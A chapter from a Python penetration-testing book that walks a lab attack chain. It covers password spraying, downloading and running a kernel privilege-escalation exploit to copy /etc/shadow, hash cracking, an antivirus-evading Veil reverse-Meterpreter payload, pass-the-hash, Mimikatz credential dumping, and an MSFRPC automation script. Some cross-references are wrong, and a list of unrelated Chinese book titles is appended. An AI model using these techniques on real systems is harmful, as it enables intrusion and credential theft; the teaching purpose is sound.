Chapter 5. Exploiting Services with Python
One of the big misconceptions with penetration testing and exploitation of services today, is the prevalence of exploitable Remote Code Execution (RCE) vulnerabilities. The reality is that, the days of finding hundreds of easily exploitable services that only required an Internet Protocol (IP) address to be plugged into a tool are pretty much gone. You will still find vulnerabilities that can be exploited by overflowing the stack or heap, they are just significantly reduced or more complex. We will explain the reasons why, these are more difficult to exploit in today's software in Chapter 8, Exploit Development with Python, Metasploit, and Immunity, don't worry we will get to that.
So if you are expecting to walk into a network every time and exploit Microsoft Security Bulletins MS08-067, MS03-024, or MS06-40 to get your foothold, you are sorely mistaken. Do not fret, they are still out there, but instead of finding it on every host, there might be one system in the network with it. Worse yet, for us as simulated malicious actors, it may not even provide us access to a box that would allow us to move forward in our engagement. Usually, it turns out to be a legacy system or a vendor product that is not even attached to the Domain with different credential sets. Now, that is not to say, this is always the case.
The number of RCE vulnerabilities that will be found completely depends on the organization's security maturity. This has nothing to do with size or budget, but instead the strategy in which their security program is implemented. Organizations with a weak security strategy and newly founded programs will have more vulnerabilities like these, and organizations with a better strategy will have less. An additional factor many new penetration testers overlook, is the talent; the company may have employed on the defensive side, and this can significantly impact their ability to operate in an environment.
Even if an organization has a weak security strategy, it may still have a pretty tough tactical security posture, if it has hired highly skilled engineers and administrators. At a tactical level, really smart technical staff means, strong controls may be put in place, but if there is no overarching security strategy, devices may be missed and gaps in a relevant strong technical posture could be identified. An additional risk comes from when those skilled members leave the organization, or worse if they go rogue.
Either way, any strong security controls could now be considered compromised at that point, if there are no established processes and procedures in place. Additionally, holistic and validated implementation of controls may not be possible. The reason this is important to you as a penetration tester, is so that you can understand the ebb and flow of an organization's information security program and common causes. The management will be looking to you for answers to some of these questions, and the indicators you see will help you diagnose the problems and identify root causes.
Understanding the new age of service exploitation
Throughout the previous chapters, there has been a preparation to show you a simulated example of new age exploitation. This means, we are taking advantage of misconfigurations, default settings, bad practices, and a lack of security awareness. Instead of control gaps being found in the developed code, it is instead within the implementation in an environment to include training of its people. The specific manner of entering or moving through a network will depend on the network, and attack vectors change, instead of memorizing a specific vector, focus on building a mind-set.
Exploitation today means the identification of already present accesses, and stealing a component of that access, compromising systems with that access level, capturing details on those systems, and moving laterally till you identify critical data or new levels of access. Once you identify access into a system, you are going to try and find details that will allow you to move and access other systems. This means configuration files with usernames and passwords in them, stored username and passwords, or mounted shares. Each of these components will provide you information to gain access to other hosts. The benefit to attacking systems in this manner is that it is much quieter than exploiting RCE's and uploading payloads; you move within the bounds of the requisite protocols, and you do a better job of simulating real malicious actors.
To establish a consistent language, you move from one host to another, at the same privilege level which is called the lateral movement. When you find a higher level of privilege such as Domain Administrator (DA), this is considered as a vertical movement or privilege escalation. When you use access to a host or network area to gain access to the systems that you could not see before, because of access controls or network segregation, this is called pivoting. Now that you understand the concepts and the terms, let us pop some boxes.
Tip
To simulate this example, we are going to use a combination of Windows XP Mode and Metasploitable, both free to use. Details about setting up Metasploitable have already been provided. Details for Windows XP Mode can be found in the following two Uniform Resource Locators (URLs) exploits the Windows machine may have, to get its Administrative Shares enabled. In a real Domain, this is common because they are often used to manage remote systems.
Understanding the chaining of exploits
In the , we showed how to identify legitimate accounts on a system or in an environment. Metasploitable is well documented, but the concepts to gain access to the system are identical to real life. Additionally, using exploitable boxes like these provides a fantastic training environment, with little risk to you, as a tester from both an availability perspective and a legal perspective. In the previous chapter, we verified the account msfadmin
was present on the target system, and by default in Metasploitable, this account has the same password as the username.
Just like real environments, we research through websites and configuration channels to determine, what the default account and settings are, then use those to intelligently exploit the boxes. To validate these weaknesses, we are going to execute a password spray attack. This attack uses one password for many usernames, which prevents account lockout. It hinges on the principle of password reuse in an environment, or common passwords used by users in the region of the world you are in.
Note
The most common passwords you will find used in the U.S. are Password1, Password123, the Season and the Year such as Summer2015, and some manipulation of the company name or username you are testing. To this day, I have found some form or shape of weak or default password on every engagement. If you watch or read about any of the major breaches, weak, default, or known passwords were a component of all of them. Also, note that all of these passwords would meet the Windows Active Directory password complexity requirements as shown here at https://technet.microsoft.com/en-us/library/hh994562%28v=ws.10%29.aspx.
Checking for weak, default, or known passwords
Execute a password spray against Metasploitable with the known username msfadmin
, using a password that is the same as the username. We scan the target host for open services that we could test the credentials against.

We can then note that the Secure Shell (SSH) service is open, so that would be a great service to target. The compromise of this service would provide interactive access to the host. As an example we can launch Hydra against the SSH service to test for this specific weakness on the target box. As you can see in the following figure, we have validated the username and password combination that provides access to the system.

Now, many new assessors would have just used Metasploit to execute this attack train as shown in Chapter 3, Physics Engine Integration. The problem with that is, you cannot interact with the service, instead you have to work through a command shell verses a terminal access. To bypass this limitation, we will use the SSH client.
Note
A command shell does not allow for the use of interactive commands, where a terminal does. Exploitation of the SSH service via a SSH client provides terminal access, while the Metasploit module ssh_login
provides command shell access. So, a terminal is preferred when possible as in the following example.
Gaining root access to the system
Now that we know the username and password combination to access this system, we can attempt to get access to the host and identify other details on the system. Specifically, we want to identify other username and passwords that might provide us access to other systems. To do this, we need to see if we can gain access to the /etc/passwd
and /etc/shadow
files on the target host. The combination of these two files will provide usernames on the host and the associated passwords. SSH into the system with the username and password: msfadmin
.

Now, we verify that we can access the /etc/passwd
file, then we copy the file onto our Kali host using Secure Copy (SCP). The following successful copy shows that we have access to the file:

We then attempt to access /etc/shadow
with our current access, and determine that it is not possible.

This means we need to elevate our privileges locally to gain access to the file; in Linux this can be done in one of the four primary ways. The easiest way is to find stored usernames and passwords on the host, which is very common on Linux or UNIX servers. The second way, which requires no exploits to be brought into the system is by manipulating files, inputs, and outputs that have improper use of Sticky bits, Set User Identifier (SUID), and Globally Unique Identifier (GUID). The third is by exploiting a vulnerable version of the Kernel.
The fourth method is the most overlooked manner to gain access to these files, and that is by misconfigured sudo
access. All you have to do is execute sudo su -
, which instantiates a session as root. The following shows that this as an example of simply gaining root access to a system:

Tip
Technically, there is a fifth method, but that means exploiting a different service that may provide root access directly. This is available in Metasploitable, but less common in real environments.
Now keep in mind, that at this point we could easily grab both files and copy them off. To provide a more realistic example instead, we are going to highlight exploit research validation and execution against the Kernel. So, we need to verify the version of the Kernel on the system and see if it is vulnerable using the command uname -a
.

The system is running the Kernel version 2.6.24, which is outdated and known to be vulnerable. This can be researched in a number of locations to include one of the most popular not only references vulnerabilities, it also points to locations where exploits can be found.
Tip
Never download an exploit from the Internet and directly exploit it on a system. Instead, always test in a lab environment, on a segregated system that has no connection to any other system or device. While testing it, make sure to run network taps and other monitoring tools to verify what activity might be run in the background.
From the Gotogle page, you can search for the vulnerability directly.

The results are a copious amount of vulnerabilities for this Kernel. We are looking for a specific vulnerability that would allow us to execute privilege escalation with a known exploit. So, we navigate to the itemized vulnerabilities found under the Vulnerabilities (324), which represents the number of vulnerabilities found at the time of this module's writing, for this specific Kernel version.

We organize the vulnerabilities by Number Of Exploits Descending, to find exploitable vulnerabilities.

Then, we look for each vulnerability that has a red number in the "# of Exploits" column and a +Priv in the Vulnerability Types column to identify useful exploits. This signifies the number of available exploits distributed to the public, and what exploitation of the vulnerability would actually return, in this case escalated privileges.

CVE-2010-1146 is a really good candidate, as shown in the following example. A publically available exploit can now be found at http://www.exploit-db.com/exploits/12130 as referenced by http://www.cvedetails.com/.

Now, before you go downloading the exploit and running it, you should check, and see if the system is even vulnerable to this exploit. The basic requirements is a Reiser File System (ReiserFS) mounted with extended attributes (xattr). So, we need to check and see if there is a ReiserFS xattr on our Metasploitable instance by using a combination of built in commands. First, we need to identify the partitions with fdisk -l
, then we identify the file system types with df -T
, and then we can look at each ReiserFS partition if necessary. Any output from fdisk -l
with the identifier of 83 is a potential candidate for ReiserFS mount.

As you can see above the device, /dev/sda1
has an identifier of 83, so there is potential for that mount to be a ReiserFS; this can be verified with df -T
. Once the command has been run, we see that the device is an EXT3 file system, which means it is not a ReiserFS, so we do not need to check and see if the file system even has extended attributes enabled.
Tip
You can also check /etc/fstab
to see if the partition was properly defined for xattr and reiserfs. Remember, this will not detect manual mounts potentially on the system though and as such you may miss attack vectors. Keep in mind though, /etc/fstab
may also have clear text credentials in it, or references to mount files that contain credentials. So, it is still a great place to check for items that will allow you to move forward.

So, the Kernel is theoretically vulnerable to this exploit, but this host's current configuration is not susceptible to the specific exploit. Now we know this specific privilege exploitation will not work even before executing it. That means, we need to go back to http://www.cvedetails.com/ and try and identify other viable exploits. A potentially viable vulnerability deals with CVE-2009-1185, with an exploit on milw0rm.

Note
Any references to exploits that used to point to now located at http://www.exploit-db.com/. The milw0rm
database was moved to expoloit-db
when the Offensive Security group took it over. So, just adjust the relevant URLs and you will find the same details.
Now you can download the exploit from the website and transfer it over to the system, or we can cheat and complete it from the command line. Just run the following command:
wget http://www.exploit-db.com/download/8572 -O escalate.c
This downloads the exploit and saves it as a code
to be compiled and executed on the local host.

We need to locate the gcc
compiler and verify that it is in our path for easy execution and then compile the code, on the target system. This can be done as follows, which gcc
and then the code can be compiled into an exploit with gcc
with the following command gcc escalate.c -o escalate
. This outputs the new executable binary called escalate
.
Tip
When executing this on real systems don't name a file exploit
, escalate
, shell
, pwned
or anything of the like. These are common names many security tools scan for, and as such they could be flagged by them prior to execution. For purposes of this example, it does not matter.
Now the compiled exploit is called escalate
, and can be run once we determine some other informational components. This exploit takes advantage of the udevd netlink socket process, so we need to identify the process and pass the exploit to the Process Identifier (PID). This can be found in a file that references the service /proc/net/netlink
. You can identify the details by executing the following command cat /proc/net/netlink
:

Note
Keep in mind, your PID will likely be different.
This exploit, specifically executes a script with commands in it that are written to the file /tmp/run
. So let us copy the /etc/shadow
file to /tmp
, since we are trying to gain access to that data in the first place. We also need to verify if the copied file is the same as the original; we can do this easily by taking a Message Digest 5 (MD5) of each file and putting the results in another file in /tmp
called hashes
. Create a file in /tmp
called run and add the following contents:
#!/bin/bash cp /etc/shadow /tmp/shadow chmod 777 /tmp/shadow md5sum /tmp/shadow > /tmp/hashes md5sum /etc/shadow >> /tmp/hashes
Then, run the exploit with the argument for the specific process you are trying to take advantage of. The following figure shows the identification of the gcc
compiler, the compiling of the exploit, the execution, and proof of the results:

Note
It is possible to directly offload the file and not move and then copy it, but typically, you are not going to write the username and password of your system to a file on an exploited box, as you never know who is already on it. Additionally, this example was designed with the mind-set that simple port redirection tools like netcat
may not be present on the system.
We then validate that the contents of the copied file are the same as the /etc/shadow
file by comparing the MD5 hashes of both files and writing it to the /tmp/hashes
file. The newly copied file can then be copied off the system onto the attack box.
Tip
Always be very cautious in real environments, when you copy passwd
or shadow files over, you can break the target system. So, make sure not to delete, rename, or move the originals. If you make a copy in other locations on the target system, remove it as not to help the real attackers.
Also, remember that Kernel exploits have one of three outputs and they can range from not working each time you execute them (so try again), they can crash the specific host, or provide the desired results. If you are executing these types of attacks, always work with your client before executing, to ensure it is not a critical system. A simple reboot usually fixes a crash, but these types of attacks are always safer to execute on workstations than servers.

Understanding the cracking of Linux hashes
Now, create a directory to handle all the cracking data on the Kali box and move the shadow and passwd
files over.

Then, use John to combine the files with the unshadow
command, and then begin the default cracking attempt.

Testing for the synchronization of account credentials
With these results, we can determine if any of these credentials are reused in the network. We know there are Windows hosts primarily in the target network, but we need to identify which ones have port 445
open. We can then try and determine, which accounts might grant us access, when the following command is run:
nmap -sS -vvv -p445 192.168.195.0/24 -oG output
Then, parse the results for open ports with the following command, which will provide a file of target hosts with Server Message Block (SMB) enabled.
grep 445/open output| cut -d" " -f2 >> smb_hosts
The passwords can be extracted directly from John and written as a password file that can be used for follow-on service attacks.
john --show unshadowed |cut -d: -f2|grep -v " " > passwords
Tip
Always test on a single host the first time you run this type of attack. In this example, we are using the sys account, but it is more common to use the root account or similar administrative accounts to test password reuse (synchronization) in an environment.
The following attack using auxiliary/scanner/smb/smb_enumusers_domain
will check for two things. It will identify what systems this account has access to, and the relevant users that are currently logged into the system. In the second portion of this example, we will highlight how to identify the accounts that are actually privileged and part of the Domain.
There are good points and bad points about the smb_enumusers_domain
module. The bad points are that you cannot load multiple usernames and passwords into it. That capability is reserved for the smb_login
module. The problem with smb_login
is that it is extremely noisy, as many signature detection tools flag on this method of testing for logins. The third module smb_enumusers
, which can be used, but it only provides details related to locale users as it identifies users based on the Security Accounts Manager (SAM) file contents. So, if a user has a Domain account and has logged into the box, the smb_enumusers
module will not identify them.
So, understand each module and its limitations when identifying targets to laterally move. We are going to highlight how to configure the smb_enumusers_domain
module and execute it. This will show an example of gaining access to a vulnerable host and then verifying DA account membership. This information can then be used to identify where a DA is located so that Mimikatz can be used to extract credentials.
Note
For this example, we are going to use a custom exploit using Veil as well, to attempt to bypass a resident Host Intrusion Prevention System (HIPS). More information about Veil can be found at https://github.com/Veil-Framework/Veil-Evasion.git.
So, we configure the module to use the password batman
, and we target the local administrator account on the system. This can be changed, but often the default is used. Since it is the local administrator, the Domain is set to WORKGROUP
. The following figure shows the configuration of the module:

Note
Before running commands such as these, make sure to use spool, to output the results to a log file so you can go back and review the results.
As you can see in the following figure, the account provided details about who was logged into the system. This means that there are logged in users relevant to the returned account names and that the local administrator account will work on that system. This means this system is ripe for compromise by a Pass-the-Hash attack (PtH).

Note
The psexec
module allows you to either pass the extracted Local Area Network Manager (LM): New Technology LM (NTLM) hash and username combination or just the username password pair to get access.
To begin with, we setup a custom multi/handler to catch the custom exploit we generated by Veil as in the following example. Keep in mind, I used 443
for the local port because it bypasses most HIPS and the local host will change depending on your host.

Now, we need to generate custom payloads with Veil to be used with the psexec
module. You can do this by navigating to the Veil-Evasion
installation directory and running it with python Veil-Evasion.py
. Veil has a good number of payloads that can be generated with a variety of obfuscation or protection mechanisms, to see the specific payload you want to use, to execute the list
command. You can select the payload by typing in the number of the payload or the name. As an example, run the following commands to generate a C Sharp stager that does not use shell code, keep in mind this requires specific versions of .NET on the target box to work.
use cs/meterpreter/rev_tcp set LPORT 443 set LHOST 192.168.195.160 set use_arya Y generate
Note
There are two components to a typical payload, the stager and the stage. A stager sets up the network connection between the attacker and the victim. Payloads that often use native system languages can be purely stager. The second part is the stage, which are the components that are downloaded by the stager. These can include things like your Meterpreter. If both items are combined, they are called a single; think about when you create your malicious Universal Serial Bus (USB) drives, these are often singles.
The output will be an executable, that will spawn an encrypted reverse HyperText Transfer Protocol Secure (HTTPS) Meterpreter.

The payload can be tested with the script checkvt
, which safely verifies if the payload would be picked up by most HIPS solutions. It does this without uploading it to Virus Total, and in turn does not add the payload to the database, which many HIPS providers pull from. Instead, it compares the hash of the payload to those already in the database.

Now, we can setup the psexec
module to reference the custom payload for execution.

Update the psexec
module, so that it uses the custom payload generated by Veil-Evasion
, via set EXE::Custom
and disable the automatic payload handler with set DisablePayloadHandler true
, as shown following:

Exploit the target box, and then attempt to identify who the DAs are in the Domain. This can be done in one of two ways, either by using the post/windows/gather/enum_domain_group_users
module or the following command from shell access:
net group "Domain Admins"
We can then Grep
through the spooled output file from the previously run module to locate relevant systems that might have these DAs logged into. When gaining access to one of those systems, there would likely be DA tokens or credentials in memory, which can be extracted and reused. The following command is an example of how to analyze the log file for these types of entries:
grep <username> <spoofile.log>
As you can see, this very simple exploit path allows you to identify where the DAs are. Once you are on the system all you have to do is load mimikatz
and extract the credentials typically with the wdigest
command from the established Meterpreter session. Of course, this means the system has to be newer than Windows 2000, and have active credentials in memory. If not, it will take additional effort and research to move forward. To highlight this, we use our established session to extract credentials with Mimikatz
as you can see in the following example. The credentials are in memory and since the target box was the Windows XP machine, we have no conflicts and no additional research is required.

In addition to the intelligence we have gathered from extracting the active DA list from the system, we now have another set of confirmed credentials that can be used. Rinsing and repeating this method of attack allows you to quickly move laterally around the network till you identify viable targets.
Automating the exploit train with Python
This exploit train is relatively simple, but we can automate a portion of this with the Metasploit Remote Procedure Call (MSFRPC). This script will use the nmap
library to scan for active ports of 445
, then generate a list of targets to test using a username and password passed via argument to the script. The script will use the same smb_enumusers_domain
module to identify boxes that have the credentials reused and other viable users logged into them. First, we need to install SpiderLabs msfrpc
library for Python. This library can be found at https://github.com/SpiderLabs/msfrpc.git.
Note
A github repository for the module can be found at https://github.com/funkandwagnalls/pythonpentest or https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers and within it is a setup file that can be run to install all the necessary packages, libraries, and resources.
The script we are creating uses the netifaces
library to identify which interface IP addresses belong to your host. It then scans for port 445
the SMB port on the IP address, range, or the Classes Inter Domain Routing (CIDR) address. It eliminates any IP addresses that belong to your interface and then tests the credentials using the Metasploit module auxiliary/scanner/smb/smb_enumusers_domain
. At the same time, it verifies what users are logged onto the system. The outputs of this script in addition to real time response are two files, a log file that contains all the responses, and a file that holds the IP addresses for all the hosts that have SMB services.
Tip
This Metasploit module takes advantage of RPCDCE, which does not run on port 445
, but we are verifying that the service is available for follow-on exploitation.

This file could then be fed back into the script, if you as an attacker find other credential sets to test as shown in the following:

Lastly, the script can be passed hashes directly just like the Metasploit module as shown in the following:

Note
The output will be slightly different for each running of the script, depending on the console identifier you grab to execute the command. The only real difference will be the additional banner items typical with a Metasploit console initiation.
Now there are a couple things that have to be stated, yes you could just generate a resource file, but when you start getting into organizations that have millions of IP addresses, this becomes unmanageable. Also the MSFRPC can have resource files fed directly into it as well, but it can significantly slow the process. If you want to compare, rewrite this script to do the same test as the previous ssh_login.py
script you wrote, but with direct MSFRPC integration.
Note
The most important item going forward is that many of the future scripts in the https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers are going to be very large with additional error checking. As you have had your skills built from the ground up, already stated concepts will not be repeated. Instead, the entire script can be downloaded from GitHub, to identify the nuances of the scripts. This script does use the previous netifaces
functions used in the ssh_login.py
script, but we are not going to replicate it here in this chapter for brevity. You can download the full script here at https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/msfrpc_smb.py.
Like all scripts libraries are needed to be established, most of these you are already familiar with, the newest one relates to the MSFRPC by SpiderLabs
. The required libraries for this script can be seen as follows:
import os, argparse, sys, time try: import msfrpc except: sys.exit("[!] Install the msfrpc library that can be found here: https://github.com/SpiderLabs/msfrpc.git") try: import nmap except: sys.exit("[!] Install the nmap library: pip install python-nmap") try: import netifaces except: sys.exit("[!] Install the netifaces library: pip install netifaces")
We then build a module, to identify relevant targets that are going to have the auxiliary module run against it. First, we set up the constructors and the passed parameters. Notice that we have two service names to test against for this script, microsoft-ds
and netbios-ssn
, as either one could represent port 445 based on the nmap
results.
def target_identifier(verbose, dir, user, passwd, ips, port_num, ifaces, ipfile): hostlist = [] pre_pend = "smb" service_name = "microsoft-ds" service_name2 = "netbios-ssn" protocol = "tcp" port_state = "open" bufsize = 0 hosts_output = "%s/%s_hosts" % (dir, pre_pend)
After which, we configure the nmap scanner to scan for details either by file or by command line. Notice that the hostlist
is a string of all the addresses loaded by the file, and they are separated by spaces. The ipfile
is opened and read and then all new lines are replaced with spaces as they are loaded into the string. This is a requirement for the specific hosts
argument of the nmap library.
if ipfile != None: if verbose > 0: print("[*] Scanning for hosts from file %s") % (ipfile) with open(ipfile) as f: hostlist = f.read().replace('\n',' ') scanner.scan(hosts=hostlist, ports=port_num) else: if verbose > 0: print("[*] Scanning for host\(s\) %s") % (ips) scanner.scan(ips, port_num) open(hosts_output, 'w').close() hostlist=[] if scanner.all_hosts(): e = open(hosts_output, 'a', bufsize) else: sys.exit("[!] No viable targets were found!")
The IP addresses for all of the interfaces on the attack system are removed from the test pool.
for host in scanner.all_hosts(): for k,v in ifaces.iteritems(): if v['addr'] == host: print("[-] Removing %s from target list since it belongs to your interface!") % (host) host = None
Finally, the details are then written to the relevant output file and Python lists, and then returned to the original call origin.
if host != None: e = open(hosts_output, 'a', bufsize) if service_name or service_name2 in scanner[host][protocol][int(port_num)]['name']: if port_state in scanner[host][protocol][int(port_num)]['state']: if verbose > 0: print("[+] Adding host %s to %s since the service is active on %s") % (host, hosts_output, port_num) hostdata=host + "\n" e.write(hostdata) hostlist.append(host) else: if verbose > 0: print("[-] Host %s is not being added to %s since the service is not active on %s") % (host, hosts_output, port_num) if not scanner.all_hosts(): e.closed if hosts_output: return hosts_output, hostlist
The next function creates the actual command that will be executed; this function will be called for each host the scan returned back as a potential target.
def build_command(verbose, user, passwd, dom, port, ip): module = "auxiliary/scanner/smb/smb_enumusers_domain" command = '''use ''' + module + ''' set RHOSTS ''' + ip + ''' set SMBUser ''' + user + ''' set SMBPass ''' + passwd + ''' set SMBDomain ''' + dom +''' run ''' return command, module
The last function actually initiates the connection with the MSFRPC and executes the relevant command per specific host.
def run_commands(verbose, iplist, user, passwd, dom, port, file): bufsize = 0 e = open(file, 'a', bufsize) done = False
The script creates a connection with the MSFRPC and creates console then tracks it by a specific console_id
. Do not forget, the msfconsole
can have multiple sessions, and as such we have to track our session to a console_id
.
client = msfrpc.Msfrpc({}) client.login('msf','msfrpcpassword') try: result = client.call('console.create') except: sys.exit("[!] Creation of console failed!") console_id = result['id'] console_id_int = int(console_id)
The script then iterates over the list of IP addresses that were confirmed to have an active SMB service. The script then creates the necessary commands for each of those IP addresses.
for ip in iplist: if verbose > 0: print("[*] Building custom command for: %s") % (str(ip)) command, module = build_command(verbose, user, passwd, dom, port, ip) if verbose > 0: print("[*] Executing Metasploit module %s on host: %s") % (module, str(ip))
The command is then written to the console and we wait for the results.
client.call('console.write',[console_id, command]) time.sleep(1) while done != True:
We await the results for each command execution and verify the data that has been returned and that the console is not still running. If it is, we delay the reading of the data. Once it has completed, the results are written in the specified output file.
result = client.call('console.read',[console_id_int]) if len(result['data']) > 1: if result['busy'] == True: time.sleep(1) continue else: console_output = result['data'] e.write(console_output) if verbose > 0: print(console_output) done = True
We close the file and destroy the console to clean up the work we had done.
e.closed client.call('console.destroy',[console_id])
The final pieces of the script are related to setting up the arguments, setting up the constructors and calling the modules. These components are similar to previous scripts and have not been included here for the sake of space, but the details can be found at the previously mentioned location on GitHub. The last requirement is loading of the msgrpc
at the msfconsole
with the specific password that we want. So launch the msfconsole
and then execute the following within it:
load msgrpc Pass=msfrpcpassword
Note
The command was not mistyped, Metasploit has moved to msgrpc
verses msfrpc
, but everyone still refers to it as msfrpc
. The big difference is the msgrpc
library uses POST requests to send data while msfrpc
used eXtensible Markup Language (XML). All of this can be automated with resource files to set up the service.
Summary
In this chapter, we highlighted a method in which you can move through a sample environment. Specifically, how to exploit a relative box, escalate privileges, and extract additional credentials. From that position, we identified other viable hosts we could laterally move into and the users who were currently logged into them. We generated custom payloads with the Veil Framework to bypass HIPS, and executed a PtH attack. This allowed us to extract other credentials from memory with the tool Mimikatz. We then automated the identification of viable secondary targets and the users logged into them with Python and MSFRPC. Much of this may seem very surprising, either in complexity or lack thereof, depending on what you were expecting. Keep in mind, it will all depend on your environment and how much work it will take to actually crack it. This chapter provided a lot of details related to exploit network and system based resources, the next chapter highlights a different angle, web assessments.
- Web程序設(shè)計及應(yīng)用
- Java高并發(fā)核心編程(卷2):多線程、鎖、JMM、JUC、高并發(fā)設(shè)計模式
- PyTorch自然語言處理入門與實戰(zhàn)
- Bootstrap 4:Responsive Web Design
- 青少年信息學(xué)競賽
- Django 3.0入門與實踐
- Django實戰(zhàn):Python Web典型模塊與項目開發(fā)
- Raspberry Pi Robotic Blueprints
- Apache Camel Developer's Cookbook
- Fastdata Processing with Spark
- Application Development with Parse using iOS SDK
- Android 游戲開發(fā)大全(第二版)
- ASP.NET開發(fā)寶典
- 少兒編程輕松學(xué)(全2冊)
- Joomla!Search Engine Optimization